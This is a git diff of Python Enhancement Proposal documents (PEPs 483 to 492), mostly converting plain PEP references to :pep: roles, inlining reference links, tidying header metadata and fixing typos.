PEP means that two expressions represent the same type. -- Note that PEP 484 makes a distinction between types and classes +- Note that :pep:`484` makes a distinction between types and classes (a type is a concept for the type checker, while a class is a runtime concept). In this PEP we clarify this distinction but avoid unnecessary strictness to allow more @@ -81,7 +81,7 @@ There are several ways to define a particular type: It is important for the user to be able to define types in a form that can be understood by type checkers. The goal of this PEP is to propose such a systematic way of defining types -for type annotations of variables and functions using PEP 3107 syntax. +for type annotations of variables and functions using :pep:`3107` syntax. These annotations can be used to avoid many kind of bugs, for documentation purposes, or maybe even to increase speed of program execution. Here we only focus on avoiding bugs by using a static type checker. @@ -249,8 +249,8 @@ from building blocks described below, and are used by static type checkers. Every class is a type as discussed above. But it is tricky and error prone to implement a class that exactly represents -semantics of a given type, and it is not a goal of PEP 484. -*The static types described in PEP 484, should not be confused with +semantics of a given type, and it is not a goal of :pep:`484`. +*The static types described in* :pep:`484` *should not be confused with the runtime classes.* Examples: - ``int`` is a class and a type. @@ -486,7 +486,7 @@ replaced by the most-derived base class among ``t1``, etc. Examples: Note that the type checker will reject this function:: def concat(first: U, second: U) -> U: - return x + y # Error: can't concatenate str and bytes + return first + second # Error: can't concatenate str and bytes For such cases where parameters could change their types only simultaneously one should use constrained type variables. @@ -712,7 +712,7 @@ so that a type checker will also find that, e.g., ``Derived[Manager]`` is a subtype of ``Base[Employee]``. For more information on type variables, generic types, and variance, -see PEP 484, the `mypy docs on +see :pep:`484`, the `mypy docs on generics `_, and `Wikipedia `_. @@ -760,7 +760,7 @@ are still controversial or not fully specified.) zork = cast(Any, frobozz()) -- Other things, e.g. overloading and stub modules, see PEP 484. +- Other things, e.g. overloading and stub modules, see :pep:`484`. Predefined generic types and Protocols in typing.py diff --git a/pep-0484.txt b/pep-0484.txt index 1980e661223..af39a47eda4 100644 --- a/pep-0484.txt +++ b/pep-0484.txt @@ -4,20 +4,20 @@ Version: $Revision$ Last-Modified: $Date$ Author: Guido van Rossum , Jukka Lehtosalo , Łukasz Langa BDFL-Delegate: Mark Shannon -Discussions-To: Python-Dev -Status: Provisional +Discussions-To: python-dev@python.org +Status: Final Type: Standards Track Content-Type: text/x-rst Created: 29-Sep-2014 Python-Version: 3.5 -Post-History: 16-Jan-2015,20-Mar-2015,17-Apr-2015,20-May-2015,22-May-2015 +Post-History: 16-Jan-2015, 20-Mar-2015, 17-Apr-2015, 20-May-2015, 22-May-2015 Resolution: https://mail.python.org/pipermail/python-dev/2015-May/140104.html Abstract ======== -PEP 3107 introduced syntax for function annotations, but the semantics +:pep:`3107` introduced syntax for function annotations, but the semantics were deliberately left undefined. There has now been enough 3rd party usage for static type analysis that the community would benefit from a standard vocabulary and baseline tools within the standard library. @@ -29,7 +29,7 @@ where annotations are not available. Note that this PEP still explicitly does NOT prevent other uses of annotations, nor does it require (or forbid) any particular processing of annotations, even when they conform to this specification. It -simply enables better coordination, as PEP 333 did for web frameworks. +simply enables better coordination, as :pep:`333` did for web frameworks. For example, here is a simple function whose argument and return type are declared in the annotations:: @@ -46,7 +46,7 @@ Essentially, such a type checker acts as a very powerful linter. a similar checker at run time for Design By Contract enforcement or JIT optimization, those tools are not yet as mature.) -The proposal is strongly inspired by mypy [mypy]_. For example, the +The proposal is strongly inspired by `mypy `_. For example, the type "sequence of integers" can be written as ``Sequence[int]``. The square brackets mean that no new syntax needs to be added to the language. The example here uses a custom type ``Sequence``, imported @@ -57,19 +57,19 @@ works at runtime by implementing ``__getitem__()`` in the metaclass The type system supports unions, generic types, and a special type named ``Any`` which is consistent with (i.e. assignable to and from) all types. This latter feature is taken from the idea of gradual typing. -Gradual typing and the full type system are explained in PEP 483. +Gradual typing and the full type system are explained in :pep:`483`. Other approaches from which we have borrowed or to which ours can be -compared and contrasted are described in PEP 482. +compared and contrasted are described in :pep:`482`. Rationale and Goals =================== -PEP 3107 added support for arbitrary annotations on parts of a +:pep:`3107` added support for arbitrary annotations on parts of a function definition. Although no meaning was assigned to annotations -then, there has always been an implicit goal to use them for type -hinting [gvr-artima]_, which is listed as the first possible use case +then, there has always been an `implicit goal to use them for type +hinting `_, which is listed as the first possible use case in said PEP. This PEP aims to provide a standard syntax for type annotations, @@ -138,7 +138,7 @@ decorators ``@property``, ``@staticmethod`` and ``@classmethod``. Type Definition Syntax ====================== -The syntax leverages PEP 3107-style annotations with a number of +The syntax leverages :pep:`3107`-style annotations with a number of extensions described in sections below. In its basic form, type hinting is used by filling function annotation slots with classes:: @@ -760,8 +760,8 @@ to the list, which would violate the variable's type in the caller. It turns out such an argument acts *contravariantly*, whereas the intuitive answer (which is correct in case the function doesn't mutate its argument!) requires the argument to act *covariantly*. A longer -introduction to these concepts can be found on Wikipedia -[wiki-variance]_ and in PEP 483; here we just show how to control +introduction to these concepts can be found on `Wikipedia +`_ and in :pep:`483`; here we just show how to control a type checker's behavior. By default generic types are considered *invariant* in all type variables, @@ -840,7 +840,7 @@ while the following is prohibited:: The numeric tower ----------------- -PEP 3141 defines Python's numeric tower, and the stdlib module +:pep:`3141` defines Python's numeric tower, and the stdlib module ``numbers`` implements the corresponding ABCs (``Number``, ``Complex``, ``Real``, ``Rational`` and ``Integral``). There are some issues with these ABCs, but the built-in concrete numeric classes @@ -1381,7 +1381,7 @@ return_type]`` provided by ``typing.py`` module:: res = yield round(res) return 'OK' -Coroutines introduced in PEP 492 are annotated with the same syntax as +Coroutines introduced in :pep:`492` are annotated with the same syntax as ordinary functions. However, the return type annotation corresponds to the type of ``await`` expression, not to the coroutine type:: @@ -1473,7 +1473,7 @@ Examples of type comments on ``with`` and ``for`` statements:: ... In stubs it may be useful to declare the existence of a variable -without giving it an initial value. This can be done using PEP 526 +without giving it an initial value. This can be done using :pep:`526` variable annotation syntax:: from typing import IO @@ -1517,7 +1517,7 @@ other comments and linting markers: If type hinting proves useful in general, a syntax for typing variables may be provided in a future Python version. (**UPDATE**: This syntax -was added in Python 3.6 through PEP 526.) +was added in Python 3.6 through :pep:`526`.) Casts ===== @@ -1660,7 +1660,7 @@ Additional notes on stub files: exported. (This makes it easier to re-export all objects from a given module that may vary by Python version.) -* Just like in normal Python files [importdocs]_, submodules +* Just like in `normal Python files `_, submodules automatically become exported attributes of their parent module when imported. For example, if the ``spam`` package has the following directory structure:: @@ -1764,7 +1764,7 @@ implementation using this syntax, its implementation would require using ``sys._getframe()``, which is frowned upon. Also, designing and implementing an efficient multiple dispatch mechanism is hard, which is why previous attempts were abandoned in favor of -``functools.singledispatch()``. (See PEP 443, especially its section +``functools.singledispatch()``. (See :pep:`443`, especially its section "Alternative approaches".) In the future we may come up with a satisfactory multiple dispatch design, but we don't want such a design to be constrained by the overloading syntax defined for type hints in @@ -1853,7 +1853,7 @@ Stub file package authors might use the following snippet in ``setup.py``:: (*UPDATE:* As of June 2018 the recommended way to distribute type hints for third-party packages has changed -- in addition to typeshed (see the next section) there is now a standard for distributing type -hints, PEP 561. It supports separately installable packages containing +hints, :pep:`561`. It supports separately installable packages containing stubs, stub files included in the same distribution as the executable code of a package, and inline type hints, the latter two options enabled by including a file named ``py.typed`` in the package.) @@ -1861,8 +1861,8 @@ enabled by including a file named ``py.typed`` in the package.) The Typeshed Repo ----------------- -There is a shared repository where useful stubs are being collected -[typeshed]_. Policies regarding the stubs collected here will be +There is a `shared repository `_ where useful stubs are being +collected. Policies regarding the stubs collected here will be decided separately and reported in the repo's documentation. Note that stubs for a given package will not be included here if the package owners have specifically requested that they be omitted. @@ -2238,7 +2238,7 @@ Scala also use square brackets. What about existing uses of annotations? ---------------------------------------- -One line of argument points out that PEP 3107 explicitly supports +One line of argument points out that :pep:`3107` explicitly supports the use of arbitrary expressions in function annotations. The new proposal is then considered incompatible with the specification of PEP 3107. @@ -2252,7 +2252,7 @@ We do hope that type hints will eventually become the sole use for annotations, but this will require additional discussion and a deprecation period after the initial roll-out of the typing module with Python 3.5. The current PEP will have provisional status (see -PEP 411) until Python 3.6 is released. The fastest conceivable scheme +:pep:`411`) until Python 3.6 is released. The fastest conceivable scheme would introduce silent deprecation of non-type-hint annotations in 3.6, full deprecation in 3.7, and declare type hints as the only allowed use of annotations in Python 3.8. This should give authors of @@ -2262,7 +2262,7 @@ approach, even if type hints become an overnight success. (*UPDATE:* As of fall 2017, the timeline for the end of provisional status for this PEP and for the ``typing.py`` module has changed, and so has the deprecation schedule for other uses of annotations. For -the updated schedule see PEP 563.) +the updated schedule see :pep:`563`.) Another possible outcome would be that type hints will eventually become the default meaning for annotations, but that there will always @@ -2299,7 +2299,7 @@ a problem: "use" here means "look up at runtime", and with most "forward" references there is no problem in ensuring that a name is defined before the function using it is called. -The problem with type hints is that annotations (per PEP 3107, and +The problem with type hints is that annotations (per :pep:`3107`, and similar to default values) are evaluated at the time a function is defined, and thus any names used in an annotation must be already defined when the function is being defined. A common scenario is a @@ -2345,7 +2345,7 @@ Such a ``__future__`` import statement may be proposed in a separate PEP. (*UPDATE:* That ``__future__`` import statement and its consequences -are discussed in PEP 563.) +are discussed in :pep:`563`.) The double colon @@ -2365,8 +2365,9 @@ evaluation. There are several things wrong with this idea, however. is unheard of in English, and in other languages (e.g. C++) it is used as a scoping operator, which is a very different beast. In contrast, the single colon for type hints reads naturally -- and no - wonder, since it was carefully designed for this purpose (the idea - long predates PEP 3107 [gvr-artima]_). It is also used in the same + wonder, since it was carefully designed for this purpose + (`the idea `_ + long predates :pep:`3107`). It is also used in the same fashion in other languages from Pascal to Swift. * What would you do for return type annotations? @@ -2397,8 +2398,8 @@ evaluation. There are several things wrong with this idea, however. Other forms of new syntax ------------------------- -A few other forms of alternative syntax have been proposed, e.g. the -introduction of a ``where`` keyword [roberge]_, and Cobra-inspired +A few other forms of alternative syntax have been proposed, e.g. `the +introduction `_ of a ``where`` keyword, and Cobra-inspired ``requires`` clauses. But these all share a problem with the double colon: they won't work for earlier versions of Python 3. The same would apply to a new ``__future__`` import. @@ -2410,7 +2411,7 @@ The ideas put forward include: * A decorator, e.g. ``@typehints(name=str, returns=str)``. This could work, but it's pretty verbose (an extra line, and the argument names - must be repeated), and a far cry in elegance from the PEP 3107 + must be repeated), and a far cry in elegance from the :pep:`3107` notation. * Stub files. We do want stub files, but they are primarily useful @@ -2433,12 +2434,12 @@ problem would that solve? It would just be procrastination. PEP Development Process ======================= -A live draft for this PEP lives on GitHub [github]_. There is also an -issue tracker [issues]_, where much of the technical discussion takes +A live draft for this PEP lives on `GitHub `_. There is also an +`issue tracker `_, where much of the technical discussion takes place. The draft on GitHub is updated regularly in small increments. The -official PEPS repo [peps_] is (usually) only updated when a new draft +`official PEPS repo `_ is (usually) only updated when a new draft is posted to python-dev. @@ -2451,46 +2452,37 @@ Vitousek, Andrey Vlasovskikh, Radomir Dopieralski, Peter Ludemann, and the BDFL-Delegate, Mark Shannon. Influences include existing languages, libraries and frameworks -mentioned in PEP 482. Many thanks to their creators, in alphabetical +mentioned in :pep:`482`. Many thanks to their creators, in alphabetical order: Stefan Behnel, William Edwards, Greg Ewing, Larry Hastings, Anders Hejlsberg, Alok Menghrajani, Travis E. Oliphant, Joe Pamer, Raoul-Gabriel Urma, and Julien Verlaguet. -References -========== - -.. [mypy] +.. _mypy: http://mypy-lang.org -.. [gvr-artima] - http://www.artima.com/weblogs/viewpost.jsp?thread=85551 - -.. [wiki-variance] - http://en.wikipedia.org/wiki/Covariance_and_contravariance_%28computer_science%29 - -.. [typeshed] - https://github.com/python/typeshed/ +.. _gvr-artima: + https://www.artima.com/weblogs/viewpost.jsp?thread=85551 -.. [pyflakes] - https://github.com/pyflakes/pyflakes/ +.. _wiki-variance: + https://en.wikipedia.org/wiki/Covariance_and_contravariance_%28computer_science%29 -.. [pylint] - http://www.pylint.org +.. _typeshed: + https://github.com/python/typeshed -.. [roberge] - http://aroberge.blogspot.com/2015/01/type-hinting-in-python-focus-on.html +.. _roberge: + https://aroberge.blogspot.com/2015/01/type-hinting-in-python-focus-on.html -.. [github] +.. _github: https://github.com/python/typing -.. [issues] +.. _issues: https://github.com/python/typing/issues -.. [peps] +.. _peps: https://hg.python.org/peps/file/tip/pep-0484.txt -.. [importdocs] +.. _importdocs: https://docs.python.org/3/reference/import.html#submodules @@ -2498,14 +2490,3 @@ Copyright ========= This document has been placed in the public domain. - - - -.. - Local Variables: - mode: indented-text - indent-tabs-mode: nil - sentence-end-double-space: t - fill-column: 70 - coding: utf-8 - End: diff --git a/pep-0485.txt b/pep-0485.txt index e77fd26a1c1..906a1eb9b62 100644 --- a/pep-0485.txt +++ b/pep-0485.txt @@ -2,7 +2,7 @@ PEP: 485 Title: A Function for testing approximate equality Version: $Revision$ Last-Modified: $Date$ -Author: Christopher Barker +Author: Christopher Barker Status: Final Type: Standards Track Content-Type: text/x-rst @@ -115,7 +115,7 @@ However, users may want to compare other numeric types similarly. In theory, it should work for any type that supports ``abs()``, multiplication, comparisons, and subtraction. However, the implementation in the math module is written in C, and thus can not (easily) use python's -duck typing. Rather, the values passed into the funciton will be converted +duck typing. Rather, the values passed into the function will be converted to the float type before the calculation is performed. Passing in types (or values) that cannot be converted to floats will raise an appropriate Exception (TypeError, ValueError, or OverflowError). diff --git a/pep-0486.txt b/pep-0486.txt index c36e4b3f45c..a785a8f2a6b 100644 --- a/pep-0486.txt +++ b/pep-0486.txt @@ -16,7 +16,7 @@ Abstract ======== The Windows installers for Python include a launcher that locates the -correct Python interpreter to run (see PEP 397). However, the +correct Python interpreter to run (see :pep:`397`). However, the launcher is not aware of virtual environments (virtualenv [1]_ or PEP 405 based), and so cannot be used to run commands from the active virtualenv. @@ -74,7 +74,7 @@ the system (i.e., when no specific version flags such as ``py -2.7`` are used) and if present, run the Python interpreter for the virtualenv rather than the default system Python. -The "default" Python interpreter referred to above is (as per PEP 397) +The "default" Python interpreter referred to above is (as per :pep:`397`) either the latest version of Python installed on the system, or a version configured via the ``py.ini`` configuration file. When the user specifies an explicit Python version on the command line, this diff --git a/pep-0487.txt b/pep-0487.txt index 558afb3b855..4b63ad369d5 100644 --- a/pep-0487.txt +++ b/pep-0487.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 27-Feb-2015 Python-Version: 3.6 -Post-History: 27-Feb-2015, 5-Feb-2016, 24-Jun-2016, 2-Jul-2016, 13-Jul-2016 +Post-History: 27-Feb-2015, 05-Feb-2016, 24-Jun-2016, 02-Jul-2016, 13-Jul-2016 Replaces: 422 Resolution: https://mail.python.org/pipermail/python-dev/2016-July/145629.html @@ -62,7 +62,7 @@ into the class creation: 2. upon class creation, a ``__set_name__`` hook is called on all the attribute (descriptors) defined in the class, and -The third category is the topic of another PEP, PEP 520. +The third category is the topic of another PEP, :pep:`520`. As an example, the first use case looks as follows:: @@ -381,7 +381,7 @@ Calling the hook on the class itself ------------------------------------ Adding an ``__autodecorate__`` hook that would be called on the class -itself was the proposed idea of PEP 422. Most examples work the same +itself was the proposed idea of :pep:`422`. Most examples work the same way or even better if the hook is called only on strict subclasses. In general, it is much easier to arrange to explicitly call the hook on the class in which it is defined (to opt-in to such a behavior) than to opt-out (by remember to check for @@ -434,14 +434,14 @@ to be detected anyway in order to give a useful error message. This decision was reinforced after noticing that the user experience of defining ``__prepare__`` and forgetting the ``@classmethod`` method -decorator is singularly incomprehensible (particularly since PEP 3115 +decorator is singularly incomprehensible (particularly since :pep:`3115` documents it as an ordinary method, and the current documentation doesn't explicitly say anything one way or the other). A more ``__new__``-like hook ---------------------------- -In PEP 422 the hook worked more like the ``__new__`` method than the +In :pep:`422` the hook worked more like the ``__new__`` method than the ``__init__`` method, meaning that it returned a class instead of modifying one. This allows a bit more flexibility, but at the cost of much harder implementation and undesired side effects. @@ -449,15 +449,15 @@ of much harder implementation and undesired side effects. Adding a class attribute with the attribute order ------------------------------------------------- -This got its own PEP 520. +This got its own :pep:`520`. History ======= -This used to be a competing proposal to PEP 422 by Nick Coghlan and Daniel -Urban. PEP 422 intended to achieve the same goals as this PEP, but with a -different way of implementation. In the meantime, PEP 422 has been withdrawn +This used to be a competing proposal to :pep:`422` by Nick Coghlan and Daniel +Urban. :pep:`422` intended to achieve the same goals as this PEP, but with a +different way of implementation. In the meantime, :pep:`422` has been withdrawn favouring this approach. References diff --git a/pep-0488.txt b/pep-0488.txt index d8f7ef58f83..22b48f4fd2c 100644 --- a/pep-0488.txt +++ b/pep-0488.txt @@ -9,9 +9,9 @@ Content-Type: text/x-rst Created: 20-Feb-2015 Python-Version: 3.5 Post-History: - 2015-03-06 - 2015-03-13 - 2015-03-20 + 06-Mar-2015, + 13-Mar-2015, + 20-Mar-2015 Abstract ======== @@ -91,7 +91,7 @@ based on the interpreter's optimization level (none, ``-O``, and Currently bytecode file names are created by ``importlib.util.cache_from_source()``, approximately using the -following expression defined by PEP 3147 [3]_, [4]_, [5]_:: +following expression defined by :pep:`3147` [3]_, [4]_:: '{name}.{cache_tag}.pyc'.format(name=module_name, cache_tag=sys.implementation.cache_tag) @@ -236,7 +236,7 @@ of any use. Since people typically only distribute bytecode files for code obfuscation purposes or smaller distribution size then only having to distribute a single ``.pyc`` should actually be beneficial to these use-cases. And since the magic number for bytecode files -changed in Python 3.5 to support PEP 465 there is no need to support +changed in Python 3.5 to support :pep:`465` there is no need to support pre-existing ``.pyo`` files [8]_. @@ -318,9 +318,6 @@ References .. [4] Implementation of ``importlib.util.cache_from_source()`` from CPython 3.4.3rc1 (https://hg.python.org/cpython/file/038297948389/Lib/importlib/_bootstrap.py#l437) -.. [5] PEP 3147, PYC Repository Directories, Warsaw - (http://www.python.org/dev/peps/pep-3147) - .. [6] The py_compile module (https://docs.python.org/3/library/compileall.html#module-compileall) diff --git a/pep-0489.txt b/pep-0489.txt index 0daf966d79a..4b08d104eac 100644 --- a/pep-0489.txt +++ b/pep-0489.txt @@ -12,7 +12,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 11-Aug-2013 Python-Version: 3.5 -Post-History: 23-Aug-2013, 20-Feb-2015, 16-Apr-2015, 7-May-2015, 18-May-2015 +Post-History: 23-Aug-2013, 20-Feb-2015, 16-Apr-2015, 07-May-2015, 18-May-2015 Resolution: https://mail.python.org/pipermail/python-dev/2015-May/140108.html @@ -24,9 +24,9 @@ interact with the import machinery. This was last revised for Python 3.0 in PEP 3121, but did not solve all problems at the time. The goal is to solve import-related problems by bringing extension modules closer to the way Python modules behave; specifically to hook into the ModuleSpec-based loading -mechanism introduced in PEP 451. +mechanism introduced in :pep:`451`. -This proposal draws inspiration from PyType_Spec of PEP 384 to allow extension +This proposal draws inspiration from PyType_Spec of :pep:`384` to allow extension authors to only define features they need, and to allow future additions to extension module declarations. @@ -41,7 +41,7 @@ when using the new API. The proposal also allows extension modules with non-ASCII names. -Not all problems tackled in PEP 3121 are solved in this proposal. +Not all problems tackled in :pep:`3121` are solved in this proposal. In particular, problems with run-time module lookup (PyState_FindModule) are left to a future PEP. @@ -51,8 +51,8 @@ Motivation Python modules and extension modules are not being set up in the same way. For Python modules, the module object is created and set up first, then the -module code is being executed (PEP 302). -A ModuleSpec object (PEP 451) is used to hold information about the module, +module code is being executed (:pep:`302`). +A ModuleSpec object (:pep:`451`) is used to hold information about the module, and passed to the relevant hooks. For extensions (i.e. shared libraries) and built-in modules, the module @@ -76,7 +76,7 @@ Furthermore, the majority of currently existing extension modules has problems with sub-interpreter support and/or interpreter reloading, and, while it is possible with the current infrastructure to support these features, it is neither easy nor efficient. -Addressing these issues was the goal of PEP 3121, but many extensions, +Addressing these issues was the goal of :pep:`3121`, but many extensions, including some in the standard library, took the least-effort approach to porting to Python 3, leaving these issues unresolved. This PEP keeps backwards compatibility, which should reduce pressure and give @@ -119,7 +119,7 @@ object, will still be accepted, so existing code will work unchanged, including binary compatibility. The PyModuleDef structure will be changed to contain a list of slots, -similarly to PEP 384's PyType_Spec for types. +similarly to :pep:`384`'s PyType_Spec for types. To keep binary compatibility, and avoid needing to introduce a new structure (which would introduce additional supporting functions and per-module storage), the currently unused m_reload pointer of PyModuleDef will be changed to @@ -188,8 +188,8 @@ Here is an overview of how the modified importers will operate. Details such as logging or handling of errors and invalid states are left out, and C code is presented with a concise Python-like syntax. -The framework that calls the importers is explained in PEP 451 -[#pep-0451-loading]_. +The framework that calls the importers is explained in +:pep:`451#how-loading-will-work`. importlib/_bootstrap.py: @@ -347,13 +347,13 @@ The value pointer must point to a function with the following signature:: PyObject* (*PyModuleCreateFunction)(PyObject *spec, PyModuleDef *def) -The function receives a ModuleSpec instance, as defined in PEP 451, +The function receives a ModuleSpec instance, as defined in :pep:`451`, and the PyModuleDef structure. It should return a new module object, or set an error and return NULL. This function is not responsible for setting import-related attributes -specified in PEP 451 [#pep-0451-attributes]_ (such as ``__name__`` or +specified in :pep:`451#attributes` (such as ``__name__`` or ``__loader__``) on the new module. There is no requirement for the returned object to be an instance of @@ -412,7 +412,7 @@ PyModule_GetDef would fail), the execution phase is skipped. Execution slots may be specified multiple times, and are processed in the order they appear in the slots array. When using the default import machinery, they are processed after -import-related attributes specified in PEP 451 [#pep-0451-attributes]_ +import-related attributes specified in :pep:`451#attributes` (such as ``__name__`` or ``__loader__``) are set and the module is added to sys.modules. @@ -620,7 +620,7 @@ PyInit_, where is the name of the module. For module names containing non-ASCII characters, the import hook is named PyInitU_, where the name is encoded using CPython's -"punycode" encoding (Punycode [#rfc-3492]_ with a lowercase suffix), +"punycode" encoding (:rfc:`Punycode <3492>` with a lowercase suffix), with hyphens ("-") replaced by underscores ("_"). @@ -768,7 +768,7 @@ Internal functions of Python/import.c and Python/importdl.c will be removed. Possible Future Extensions ========================== -The slots mechanism, inspired by PyType_Slot from PEP 384, +The slots mechanism, inspired by PyType_Slot from :pep:`384`, allows later extensions. Some extension modules exports many constants; for example _ssl has @@ -790,7 +790,7 @@ beneficial, though.) Another possibility is providing a "main" function that would be run when the module is given to Python's -m switch. For this to work, the runpy module will need to be modified to take -advantage of ModuleSpec-based loading introduced in PEP 451. +advantage of ModuleSpec-based loading introduced in :pep:`451`. Also, it will be necessary to add a mechanism for setting up a module according to slots it wasn't originally defined with. @@ -808,13 +808,13 @@ Previous Approaches Stefan Behnel's initial proto-PEP [#stefans_protopep]_ had a "PyInit_modulename" hook that would create a module class, whose ``__init__`` would be then called to create the module. -This proposal did not correspond to the (then nonexistent) PEP 451, +This proposal did not correspond to the (then nonexistent) :pep:`451`, where module creation and initialization is broken into distinct steps. It also did not support loading an extension into pre-existing module objects. Nick Coghlan proposed "Create" and "Exec" hooks, and wrote a prototype implementation [#nicks-prototype]_. -At this time PEP 451 was still not implemented, so the prototype +At this time :pep:`451` was still not implemented, so the prototype does not use ModuleSpec. The original version of this PEP used Create and Exec hooks, and allowed @@ -834,18 +834,12 @@ exporting a definition, yielded a much simpler solution. References ========== -.. [#pep-0451-attributes] - https://www.python.org/dev/peps/pep-0451/#attributes - .. [#stefans_protopep] https://mail.python.org/pipermail/python-dev/2013-August/128087.html .. [#nicks-prototype] https://mail.python.org/pipermail/python-dev/2013-August/128101.html -.. [#rfc-3492] - http://tools.ietf.org/html/rfc3492 - .. [#gh-repo] https://github.com/encukou/cpython/commits/pep489 @@ -855,9 +849,6 @@ References .. [#findmodule-discussion] https://mail.python.org/pipermail/import-sig/2015-April/000959.html -.. [#pep-0451-loading] - https://www.python.org/dev/peps/pep-0451/#how-loading-will-work] - .. [#subinterpreter-docs] https://docs.python.org/3/c-api/init.html#sub-interpreter-support diff --git a/pep-0490.txt b/pep-0490.txt index e96c2c4678f..3514860d372 100644 --- a/pep-0490.txt +++ b/pep-0490.txt @@ -20,7 +20,7 @@ Rationale ========= Python 3 introduced a new killer feature: exceptions are chained by -default, PEP 3134. +default, :pep:`3134`. Example:: @@ -168,7 +168,7 @@ exceptions. The reference cycle can now be fixed with the new ``traceback.TracebackException`` object introduced in Python 3.5. It -stores informations required to format a full textual traceback without +stores information required to format a full textual traceback without storing local variables. The ``asyncio`` is impacted by the reference cycle issue. This module @@ -215,15 +215,14 @@ Appendix PEPs ---- -* `PEP 3134 -- Exception Chaining and Embedded Tracebacks - `_ (Python 3.0): +* :pep:`3134` -- Exception Chaining and Embedded Tracebacks + (Python 3.0): new ``__context__`` and ``__cause__`` attributes for exceptions -* `PEP 415 - Implement context suppression with exception attributes - `_ (Python 3.3): +* :pep:`415` -- Implement context suppression with exception attributes + (Python 3.3): ``raise exc from None`` -* `PEP 409 - Suppressing exception context - `_ - (superseded by the PEP 415) +* :pep:`409` -- Suppressing exception context + (superseded by the :pep:`415`) Python C API diff --git a/pep-0491.txt b/pep-0491.txt index 71a77b99c71..8062a6befb0 100644 --- a/pep-0491.txt +++ b/pep-0491.txt @@ -3,9 +3,10 @@ Title: The Wheel Binary Package Format 1.9 Version: $Revision$ Last-Modified: $Date$ Author: Daniel Holth -Discussions-To: +Discussions-To: distutils-sig@python.org Status: Deferred Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 16-Apr-2015 @@ -19,7 +20,7 @@ re-building from source each time. A wheel is a ZIP-format archive with a specially formatted file name and the ``.whl`` extension. It contains a single distribution nearly as it -would be installed according to PEP 376 with a particular installation +would be installed according to :pep:`376` with a particular installation scheme. Simple wheels can be unpacked onto ``sys.path`` and used directly but wheels are usually installed with a specialized installer. @@ -39,11 +40,11 @@ Some specific elements to be addressed when work on this PEP is resumed in the future: - migrating the official wheel format definition to - https://packaging.python.org/specifications/ (similar to what PEP 566 did for + https://packaging.python.org/specifications/ (similar to what :pep:`566` did for https://packaging.python.org/specifications/core-metadata/) - updating the PEP itself to focus on the *changes* being made between the two versions of the format and the rationale for those changes, rather than - having to repeat all the information that is unchanged from PEP 427 + having to repeat all the information that is unchanged from :pep:`427` - clarifying that the PEP is deliberately written to allow existing installers to be compliant with the specification when using existing install scheme definitions, while also allowing the creation of new install scheme @@ -169,7 +170,7 @@ on any CPU architecture. The last three components of the filename before the extension are called "compatibility tags." The compatibility tags express the -package's basic interpreter requirements and are detailed in PEP 425. +package's basic interpreter requirements and are detailed in :pep:`425`. Escaping and Unicode '''''''''''''''''''' @@ -249,12 +250,12 @@ The .dist-info directory found at the root of sdists. #. WHEEL is the wheel metadata specific to a build of the package. #. RECORD is a list of (almost) all the files in the wheel and their - secure hashes. Unlike PEP 376, every file except RECORD, which + secure hashes. Unlike :pep:`376`, every file except RECORD, which cannot contain a hash of itself, must include its hash. The hash algorithm must be sha256 or better; specifically, md5 and sha1 are not permitted, as signed wheel files rely on the strong hashes in RECORD to validate the integrity of the archive. -#. PEP 376's INSTALLER and REQUESTED are not included in the archive. +#. :pep:`376`'s INSTALLER and REQUESTED are not included in the archive. #. RECORD.jws is used for digital signatures. It is not mentioned in RECORD. #. RECORD.p7s is allowed as a courtesy to anyone who would prefer to @@ -360,7 +361,7 @@ Signed wheel files ------------------ Wheel files include an extended RECORD that enables digital -signatures. PEP 376's RECORD is altered to include a secure hash +signatures. :pep:`376`'s RECORD is altered to include a secure hash ``digestname=urlsafe_b64encode_nopad(digest)`` (urlsafe base64 encoding with no trailing = characters) as the second column instead of an md5sum. All possible entries are hashed, including any @@ -394,10 +395,10 @@ checker only needs to establish that RECORD matches the signature. See -- http://self-issued.info/docs/draft-ietf-jose-json-web-signature.html -- http://self-issued.info/docs/draft-jones-jose-jws-json-serialization.html -- http://self-issued.info/docs/draft-ietf-jose-json-web-key.html -- http://self-issued.info/docs/draft-jones-jose-json-private-key.html +- :rfc:`7515` +- https://datatracker.ietf.org/doc/html/draft-jones-jose-jws-json-serialization.html +- :rfc:`7517` +- https://datatracker.ietf.org/doc/html/draft-jones-jose-json-private-key.html Comparison to .egg diff --git a/pep-0492.txt b/pep-0492.txt index e5122b47966..4a1da0c5f2a 100644 --- a/pep-0492.txt +++ b/pep-0492.txt @@ -3,7 +3,7 @@ Title: Coroutines with async and await syntax Version: $Revision$ Last-Modified: $Date$ Author: Yury Selivanov -Discussions-To: +Discussions-To: python-dev@python.org Status: Final Type: Standards Track Content-Type: text/x-rst @@ -112,9 +112,9 @@ This proposal introduces new syntax and semantics to enhance coroutine support in Python. This specification presumes knowledge of the implementation of -coroutines in Python (PEP 342 and PEP 380). Motivation for the syntax -changes proposed here comes from the asyncio framework (PEP 3156) and -the "Cofunctions" proposal (PEP 3152, now rejected in favor of this +coroutines in Python (:pep:`342` and :pep:`380`). Motivation for the syntax +changes proposed here comes from the asyncio framework (:pep:`3156`) and +the "Cofunctions" proposal (:pep:`3152`, now rejected in favor of this specification). From this point in this document we use the word *native coroutine* to @@ -154,7 +154,7 @@ Key properties of *coroutines*: * ``StopIteration`` exceptions are not propagated out of coroutines, and are replaced with a ``RuntimeError``. For regular generators - such behavior requires a future import (see PEP 479). + such behavior requires a future import (see :pep:`479`). * When a *native coroutine* is garbage collected, a ``RuntimeWarning`` is raised if it was never awaited on (see also @@ -217,7 +217,7 @@ can be one of: fundamental mechanism of how *Futures* are implemented. Since, internally, coroutines are a special kind of generators, every ``await`` is suspended by a ``yield`` somewhere down the chain of - ``await`` calls (please refer to PEP 3156 for a detailed + ``await`` calls (please refer to :pep:`3156` for a detailed explanation). To enable this behavior for coroutines, a new magic method called @@ -598,7 +598,7 @@ and yield from fut raise StopIteration('spam') -And since PEP 479 is accepted and enabled by default for coroutines, +And since :pep:`479` is accepted and enabled by default for coroutines, the following example will have its ``StopIteration`` wrapped into a ``RuntimeError`` @@ -612,7 +612,7 @@ The only way to tell the outside code that the iteration has ended is to raise something other than ``StopIteration``. Therefore, a new built-in exception class ``StopAsyncIteration`` was added. -Moreover, with semantics from PEP 479, all ``StopIteration`` exceptions +Moreover, with semantics from :pep:`479`, all ``StopIteration`` exceptions raised in coroutines are wrapped in ``RuntimeError``. @@ -658,7 +658,7 @@ Coroutines are based on generators internally, thus they share the implementation. Similarly to generator objects, *coroutines* have ``throw()``, ``send()`` and 